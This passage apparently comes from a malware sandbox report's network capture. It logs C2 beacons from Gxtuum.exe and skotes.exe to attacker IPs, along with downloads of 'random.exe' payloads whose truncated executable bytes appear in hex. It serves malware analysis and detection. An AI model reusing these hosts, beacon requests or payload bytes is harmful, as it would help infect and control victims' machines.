                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.541678905 CET1236INData Raw: 20 5b c3 cc cc cc cc 44 89 02 48 8b c2 48 89 4a 08 c3 cc cc cc cc cc 40 53 48 83 ec 30 48 8b 01 49 8b d8 44 8b c2 48 8d 54 24 20 ff 50 18 48 8b 4b 08 4c 8b 48 08 48 8b 51 08 49 39 51 08 75 0e 8b 0b 39 08 75 08 b0 01 48 83 c4 30 5b c3 32 c0 48 83
                                                                                                                                                                                                                                                                                  Data Ascii: [DHHJ@SH0HIDHT$ PHKLHHQI9Qu9uH0[2H0[HBLHL9IuD9u2HyHAHH9HAH@SVWH)$HHHL$ IHL$h%HHD$ 6Hxt
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.541731119 CET896INData Raw: 8b da 41 83 f8 01 75 1d 0f 57 c0 41 b8 15 00 00 00 0f 11 02 48 89 7a 10 48 89 7a 18 48 8d 15 b8 bb 07 00 eb 2a 41 8b c8 e8 f6 e1 03 00 0f 57 c0 49 c7 c0 ff ff ff ff 0f 11 03 48 89 7b 10 48 89 7b 18 90 49 ff c0 42 38 3c 00 75 f7 48 8b d0 48 8b cb
                                                                                                                                                                                                                                                                                  Data Ascii: AuWAHzHzH*AWIH{H{IB8<uHHHH\$@H0_HH\$WH@HH3HD$8HHT$(3H|$(HT$(A7HD$0WHH{H{HuAH3LHT$(HL
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.541765928 CET1236INData Raw: 93 04 00 33 ff 48 89 7b 58 48 8b 4b 48 48 85 c9 74 05 e8 b8 93 04 00 48 89 7b 48 48 8b 4b 38 48 85 c9 74 05 e8 a6 93 04 00 48 89 7b 38 48 8b 4b 28 48 85 c9 74 05 e8 94 93 04 00 48 89 7b 28 48 8b 4b 18 48 85 c9 74 05 e8 82 93 04 00 48 89 7b 18 48
                                                                                                                                                                                                                                                                                  Data Ascii: 3H{XHKHHtH{HHK8HtH{8HK(HtH{(HKHtH{HKHtpH{HH\$0H _AAHDHHH(HIHtHPHtLHH(I H(
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.541802883 CET1236INData Raw: 10 00 0f 10 48 10 0f 11 46 10 0f 11 4e 20 48 8d 4d 0f e8 38 de 03 00 0f 10 08 0f 10 50 10 f2 0f 10 40 20 8b 48 28 0f 11 4e 30 0f 11 56 40 f2 0f 11 46 50 89 4e 58 48 89 37 48 8d 4d a7 e8 65 c0 03 00 48 8b 4d ff 48 85 c9 74 05 e8 ab 8e 04 00 4c 89
                                                                                                                                                                                                                                                                                  Data Ascii: HFN HM8P@ H(N0V@FPNXH7HMeHMHtLuHMHtLuHMHtLuHMHtuLuHMHtcLuHMHtQLuHML$I[(Is0IA^_]H*@SH
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.661092997 CET1236INData Raw: c3 48 8b 4c 24 30 48 33 cc e8 8d f0 03 00 48 83 c4 48 41 5e 5f 5e 5b c3 cc cc cc 48 89 5c 24 08 57 48 83 ec 20 83 79 20 00 48 8d 05 3b d6 06 00 48 89 01 8b fa 48 8b d9 74 09 48 8b 49 18 e8 e4 89 04 00 48 8b 4b 28 e8 db 89 04 00 48 8d 05 78 d3 06
                                                                                                                                                                                                                                                                                  Data Ascii: HL$0H3HHA^_^[H\$WH y H;HHtHIHK(HxH@t`HRHH\$0H _@SH`)t$PHHL$ A0WD$0WL$@IIB<uHL$0ft$ LD$0HT$ HHT$HHv.HHL$0HH


                                                                                                                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                                  9192.168.2.449830212.193.31.8801284C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe
                                                                                                                                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:36.557724953 CET160OUTPOST /3ofn3jf3e2ljk2/index.php HTTP/1.1
                                                                                                                                                                                                                                                                                  Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                  Host: 212.193.31.8
                                                                                                                                                                                                                                                                                  Content-Length: 4
                                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                                  Data Raw: 73 74 3d 73
                                                                                                                                                                                                                                                                                  Data Ascii: st=s


                                                                                                                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                                  10192.168.2.449843185.215.113.43807324C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:41.185276985 CET184OUTPOST /Zu7JuNko/index.php HTTP/1.1
                                                                                                                                                                                                                                                                                  Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                  Host: 185.215.113.43
                                                                                                                                                                                                                                                                                  Content-Length: 31
                                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                                  Data Raw: 64 31 3d 31 30 31 39 33 31 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39
                                                                                                                                                                                                                                                                                  Data Ascii: d1=1019318001&unit=246122658369
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:42.520030022 CET193INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                  Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                                                  Date: Sat, 21 Dec 2024 11:15:42 GMT
                                                                                                                                                                                                                                                                                  Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                                  Transfer-Encoding: chunked
                                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                                  Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                                                  Data Ascii: 4 <c>0


                                                                                                                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                                  11192.168.2.449849212.193.31.8801284C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe
                                                                                                                                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:42.187591076 CET312OUTPOST /3ofn3jf3e2ljk2/index.php HTTP/1.1
                                                                                                                                                                                                                                                                                  Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                  Host: 212.193.31.8
                                                                                                                                                                                                                                                                                  Content-Length: 154
                                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                                  Data Raw: 72 3d 45 35 46 44 44 37 34 37 41 45 46 35 41 37 42 42 36 33 30 36 39 36 36 35 44 39 34 38 41 32 37 32 41 41 44 32 38 44 30 45 37 30 32 32 37 37 44 42 37 34 44 31 35 41 35 37 34 42 42 41 32 36 33 44 45 33 32 36 41 33 44 30 45 37 45 37 45 42 36 32 37 44 31 30 45 41 41 35 37 32 45 43 42 39 30 46 42 36 34 38 42 42 44 37 31 46 36 31 39 46 32 45 41 34 31 46 42 45 45 42 39 46 46 34 45 42 35 31 46 34 35 37 45 43 30 30 30 32 45 43 39 41 45 33 36 34 42 41 39 39 37 33
                                                                                                                                                                                                                                                                                  Data Ascii: r=E5FDD747AEF5A7BB63069665D948A272AAD28D0E702277DB74D15A574BBA263DE326A3D0E7E7EB627D10EAA572ECB90FB648BBD71F619F2EA41FBEEB9FF4EB51F457EC0002EC9AE364BA9973
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:43.527062893 CET154INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                  Date: Sat, 21 Dec 2024 11:15:43 GMT
                                                                                                                                                                                                                                                                                  Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                                                                                                                                                                  Content-Length: 7
                                                                                                                                                                                                                                                                                  Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                                  Data Raw: 20 3c 63 3e 3c 64 3e
                                                                                                                                                                                                                                                                                  Data Ascii: <c><d>


                                                                                                                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                                  12192.168.2.44985031.41.244.11807324C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:42.685048103 CET61OUTGET /files/martin/random.exe HTTP/1.1
                                                                                                                                                                                                                                                                                  Host: 31.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.021116972 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                  Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                                                  Date: Sat, 21 Dec 2024 11:15:43 GMT
                                                                                                                                                                                                                                                                                  Content-Type: application/octet-stream
                                                                                                                                                                                                                                                                                  Content-Length: 4468736
                                                                                                                                                                                                                                                                                  Last-Modified: Sat, 21 Dec 2024 11:08:34 GMT
                                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                                  ETag: "6766a1b2-443000"
                                                                                                                                                                                                                                                                                  Accept-Ranges: bytes
                                                                                                                                                                                                                                                                                  Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 09 98 63 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 56 48 00 00 fc 76 00 00 32 00 00 00 b0 c8 00 00 10 00 00 00 70 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 e0 c8 00 00 04 00 00 64 56 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 70 74 00 73 00 00 00 00 60 74 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc 95 c8 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac 95 c8 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED]
                                                                                                                                                                                                                                                                                  Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELcg(VHv2pH@dVD@ _pts`t PtL(@.rsrc`t\(@.idata pt^(@ p8t`(@pfkrromkb(@hghjijlvD@.taggant0"D@
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.021179914 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                                                  Data Ascii:
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.021234035 CET448INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                                                  Data Ascii:
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.021269083 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                                                  Data Ascii:
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.021306038 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                                                  Data Ascii: 'f>RWZEoA
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.021339893 CET448INData Raw: 79 b5 64 95 ce 04 4b 54 83 71 22 f7 e5 0a ed e3 55 2d b4 05 8a bc ee 7b ca d1 9a a3 7e f4 57 9f dc d8 5a 78 4e d4 23 33 95 3b 34 49 1a 9a d1 2c f4 29 df 28 a6 5d 26 e5 0f 79 d7 5f 1d 47 3b 9b a0 0c db df 60 da 54 07 a3 57 eb 91 a8 c1 44 b2 75 96
                                                                                                                                                                                                                                                                                  Data Ascii: ydKTq"U-{~WZxN#3;4I,)(]&y_G;`TWDuB9LnF=J`OVQe1:4RPb*$x-&>kr3W2n(~&}k4[4j{>"-W)lefcu+hk>4f^
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.021406889 CET1236INData Raw: b1 ff 12 61 c4 20 05 83 ed 7c ea ff 57 8f 22 74 29 ce d5 de 97 50 cc 8a f4 c8 d9 d5 0a 07 2f 9e fe 70 46 ea 2c e8 c7 67 ef 02 38 a0 42 f1 14 9e aa b1 37 38 e2 0c 7b 0e 22 79 a5 f1 06 d8 e7 6f 94 00 5b 8d f8 16 a3 93 36 06 5f 96 6a 09 d8 38 8f b4
                                                                                                                                                                                                                                                                                  Data Ascii: a |W"t)P/pF,g8B78{"yo[6_j8*n]: "tLKS9W{X?.qXQ`48=b-dI}vE/8t|%MapZ4 g4X0u@Y,
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.021473885 CET1236INData Raw: 57 30 4e 37 f2 ed 8f 51 db f0 53 38 9d 46 93 7b 6b d8 d9 22 a3 e9 a3 9f 22 06 a1 ae 9f bb 25 49 82 86 ce 67 96 da b5 93 79 2c 53 71 cf ee 37 4b a9 d3 ef 48 38 f1 8f f4 3c ab af 3a 81 82 89 a3 2e ef 16 f0 3e 12 54 22 ba 63 5d 34 1e a1 e6 88 19 ed
                                                                                                                                                                                                                                                                                  Data Ascii: W0N7QS8F{k""%Igy,Sq7KH8<:.>T"c]4+[]f7["8N<9#Z;=Ld]^kzhUKQ6./Ri:J$*rxH.x:;jfZPN(6\mzkZ4jqUlSs
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.021528959 CET1236INData Raw: 30 c7 66 a8 ea 2f 1b 26 ac bd f9 53 a4 30 80 6b b4 b4 d7 98 d5 8a 23 c0 13 c0 fa 80 f7 bc e6 1f f4 33 bc 56 e8 71 1e 85 02 99 a5 72 fd 71 4e 22 ee ac 2a ae ba 88 c4 2e 1f 39 9b 51 a1 c0 e3 af bd c4 3a fc 16 b1 fb a3 a5 5f af e0 54 bf 19 52 65 7c
                                                                                                                                                                                                                                                                                  Data Ascii: 0f/&S0k#3VqrqN"*.9Q:_TRe|fy(P{\z_2yS1{mHJOF2tlq(uotT` fljk@PmnP=S9fO+ce2|!3p,,}g?
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.021595001 CET1236INData Raw: c5 10 0f 27 79 00 bc 9e 7f d3 c5 90 5f 87 d4 ae c9 f4 14 80 e4 00 22 d9 2a be 28 ae d2 11 27 99 a1 65 ea 10 8d 30 66 46 73 06 eb 51 80 02 77 df 9c 6e 95 38 bf d1 97 85 f3 6c 0b 91 1b 29 44 d6 53 07 05 22 bb 68 9a a6 b0 16 eb c1 a1 d5 2b a6 52 38
                                                                                                                                                                                                                                                                                  Data Ascii: 'y_"*('e0fFsQwn8l)DS"h+R8Dovx`3kQg={W3&9DkJd={PHU1:.h({"f&}R%g,Z4>ZXQSTOvU\Rd
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.141149998 CET1236INData Raw: ca 58 f5 07 d6 50 d5 08 10 65 4f e8 19 60 59 5b 5f bb a3 e0 35 e9 a6 66 51 49 1e 94 a3 e3 27 71 0e 45 9f 84 cd f8 1c c0 44 9c ff 94 47 39 b7 76 48 57 b6 03 03 6f 10 bc d0 67 05 81 4c e6 c4 8c 24 24 7a 92 18 03 17 59 ce b0 9e 02 a8 51 f4 08 a9 19
                                                                                                                                                                                                                                                                                  Data Ascii: XPeO`Y[_5fQI'qEDG9vHWogL$$zYQC5lor*rKn'fOt&9lSN^L B7|F#pru\$$_~l*U#AV?.jc,sx(XlVmC


                                                                                                                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                                  13192.168.2.449859212.193.31.8801284C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe
                                                                                                                                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.349798918 CET160OUTPOST /3ofn3jf3e2ljk2/index.php HTTP/1.1
                                                                                                                                                                                                                                                                                  Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                  Host: 212.193.31.8
                                                                                                                                                                                                                                                                                  Content-Length: 4
                                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                                  Data Raw: 73 74 3d 73
                                                                                                                                                                                                                                                                                  Data Ascii: st=s
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.648056030 CET155INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                  Date: Sat, 21 Dec 2024 11:15:46 GMT
                                                                                                                                                                                                                                                                                  Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                                                                                                                                                                  Content-Length: 8
                                                                                                                                                                                                                                                                                  Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                                  Data Raw: 20 3c 63 3e 33 3c 64 3e
                                                                                                                                                                                                                                                                                  Data Ascii: <c>3<d>


                                                                                                                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                                  14192.168.2.449868212.193.31.8801284C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe
                                                                                                                                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.278996944 CET312OUTPOST /3ofn3jf3e2ljk2/index.php HTTP/1.1
                                                                                                                                                                                                                                                                                  Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                  Host: 212.193.31.8
                                                                                                                                                                                                                                                                                  Content-Length: 154
                                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                                  Data Raw: 72 3d 45 35 46 44 44 37 34 37 41 45 46 35 41 37 42 42 36 33 30 36 39 36 36 35 44 39 34 38 41 32 37 32 41 41 44 32 38 44 30 45 37 30 32 32 37 37 44 42 37 34 44 31 35 41 35 37 34 42 42 41 32 36 33 44 45 33 32 36 41 33 44 30 45 37 45 37 45 42 36 32 37 44 31 30 45 41 41 35 37 32 45 43 42 39 30 46 42 36 34 38 42 42 44 37 31 46 36 31 39 46 32 45 41 34 31 46 42 45 45 42 39 46 46 34 45 42 35 31 46 34 35 37 45 43 30 30 30 32 45 43 39 41 45 33 36 34 42 41 39 39 37 33
                                                                                                                                                                                                                                                                                  Data Ascii: r=E5FDD747AEF5A7BB63069665D948A272AAD28D0E702277DB74D15A574BBA263DE326A3D0E7E7EB627D10EAA572ECB90FB648BBD71F619F2EA41FBEEB9FF4EB51F457EC0002EC9AE364BA9973
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.611747980 CET154INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                  Date: Sat, 21 Dec 2024 11:15:49 GMT
                                                                                                                                                                                                                                                                                  Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                                                                                                                                                                  Content-Length: 7
                                                                                                                                                                                                                                                                                  Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                                  Data Raw: 20 3c 63 3e 3c 64 3e
                                                                                                                                                                                                                                                                                  Data Ascii: <c><d>


                                                                                                                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                                  15192.168.2.449878212.193.31.8801284C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe
                                                                                                                                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:51.362210989 CET160OUTPOST /3ofn3jf3e2ljk2/index.php HTTP/1.1
                                                                                                                                                                                                                                                                                  Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                  Host: 212.193.31.8
                                                                                                                                                                                                                                                                                  Content-Length: 4
                                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                                  Data Raw: 73 74 3d 73
                                                                                                                                                                                                                                                                                  Data Ascii: st=s
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:52.692019939 CET155INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                  Date: Sat, 21 Dec 2024 11:15:52 GMT
                                                                                                                                                                                                                                                                                  Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                                                                                                                                                                  Content-Length: 8
                                                                                                                                                                                                                                                                                  Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                                  Data Raw: 20 3c 63 3e 33 3c 64 3e
                                                                                                                                                                                                                                                                                  Data Ascii: <c>3<d>


                                                                                                                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                                  16192.168.2.449886185.215.113.43807324C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:53.470220089 CET184OUTPOST /Zu7JuNko/index.php HTTP/1.1
                                                                                                                                                                                                                                                                                  Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                  Host: 185.215.113.43
                                                                                                                                                                                                                                                                                  Content-Length: 31
                                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                                  Data Raw: 64 31 3d 31 30 31 39 33 31 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39
                                                                                                                                                                                                                                                                                  Data Ascii: d1=1019319001&unit=246122658369
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:54.822521925 CET193INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                  Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                                                  Date: Sat, 21 Dec 2024 11:15:54 GMT
                                                                                                                                                                                                                                                                                  Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                                  Transfer-Encoding: chunked
                                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                                  Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                                                  Data Ascii: 4 <c>0


                                                                                                                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                                  17192.168.2.449889212.193.31.8801284C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe
                                                                                                                                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:54.329310894 CET312OUTPOST /3ofn3jf3e2ljk2/index.php HTTP/1.1
                                                                                                                                                                                                                                                                                  Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                  Host: 212.193.31.8
                                                                                                                                                                                                                                                                                  Content-Length: 154
                                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                                  Data Raw: 72 3d 45 35 46 44 44 37 34 37 41 45 46 35 41 37 42 42 36 33 30 36 39 36 36 35 44 39 34 38 41 32 37 32 41 41 44 32 38 44 30 45 37 30 32 32 37 37 44 42 37 34 44 31 35 41 35 37 34 42 42 41 32 36 33 44 45 33 32 36 41 33 44 30 45 37 45 37 45 42 36 32 37 44 31 30 45 41 41 35 37 32 45 43 42 39 30 46 42 36 34 38 42 42 44 37 31 46 36 31 39 46 32 45 41 34 31 46 42 45 45 42 39 46 46 34 45 42 35 31 46 34 35 37 45 43 30 30 30 32 45 43 39 41 45 33 36 34 42 41 39 39 37 33
                                                                                                                                                                                                                                                                                  Data Ascii: r=E5FDD747AEF5A7BB63069665D948A272AAD28D0E702277DB74D15A574BBA263DE326A3D0E7E7EB627D10EAA572ECB90FB648BBD71F619F2EA41FBEEB9FF4EB51F457EC0002EC9AE364BA9973
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:55.658391953 CET154INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                  Date: Sat, 21 Dec 2024 11:15:55 GMT
                                                                                                                                                                                                                                                                                  Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                                                                                                                                                                  Content-Length: 7
                                                                                                                                                                                                                                                                                  Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                                  Data Raw: 20 3c 63 3e 3c 64 3e
                                                                                                                                                                                                                                                                                  Data Ascii: <c><d>


                                                                                                                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                                  18192.168.2.44989231.41.244.11807324C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:54.944845915 CET62OUTGET /files/loadman/random.exe HTTP/1.1
                                                                                                                                                                                                                                                                                  Host: 31.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:56.272670984 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                  Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                                                  Date: Sat, 21 Dec 2024 11:15:56 GMT
                                                                                                                                                                                                                                                                                  Content-Type: application/octet-stream
                                                                                                                                                                                                                                                                                  Content-Length: 1374720
                                                                                                                                                                                                                                                                                  Last-Modified: Thu, 19 Dec 2024 17:14:58 GMT
                                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                                  ETag: "67645492-14fa00"
                                                                                                                                                                                                                                                                                  Accept-Ranges: bytes
                                                                                                                                                                                                                                                                                  Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 0a 00 e0 68 17 44 00 8c 14 00 e1 14 00 00 e0 00 26 03 0b 01 02 26 00 c8 0b 00 00 f6 14 00 00 04 00 00 80 14 00 00 00 10 00 00 00 e0 0b 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 70 15 00 00 04 00 00 5c 55 1a 00 02 00 40 01 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 50 14 00 08 1c 00 00 00 90 14 00 2c 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 15 00 bc 63 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 8e 12 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED]
                                                                                                                                                                                                                                                                                  Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELhD&&@p\U@ P,lcT.text``.dataH@.rdata@@.eh_framp@@.bss4@.idataP@.CRT8p$@.tls&@.rsrc,ln(@@.reloccd@B
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:56.272723913 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c3 eb 0d 90 90 90 90 90 90 90 90 90 90 90 90 90 83 ec 1c 31 c0 66 81 3d 00
                                                                                                                                                                                                                                                                                  Data Ascii: 1f=@MZATATATu<@@PE@tZ@TATu<$ATATQ=8KtH1f$fQft
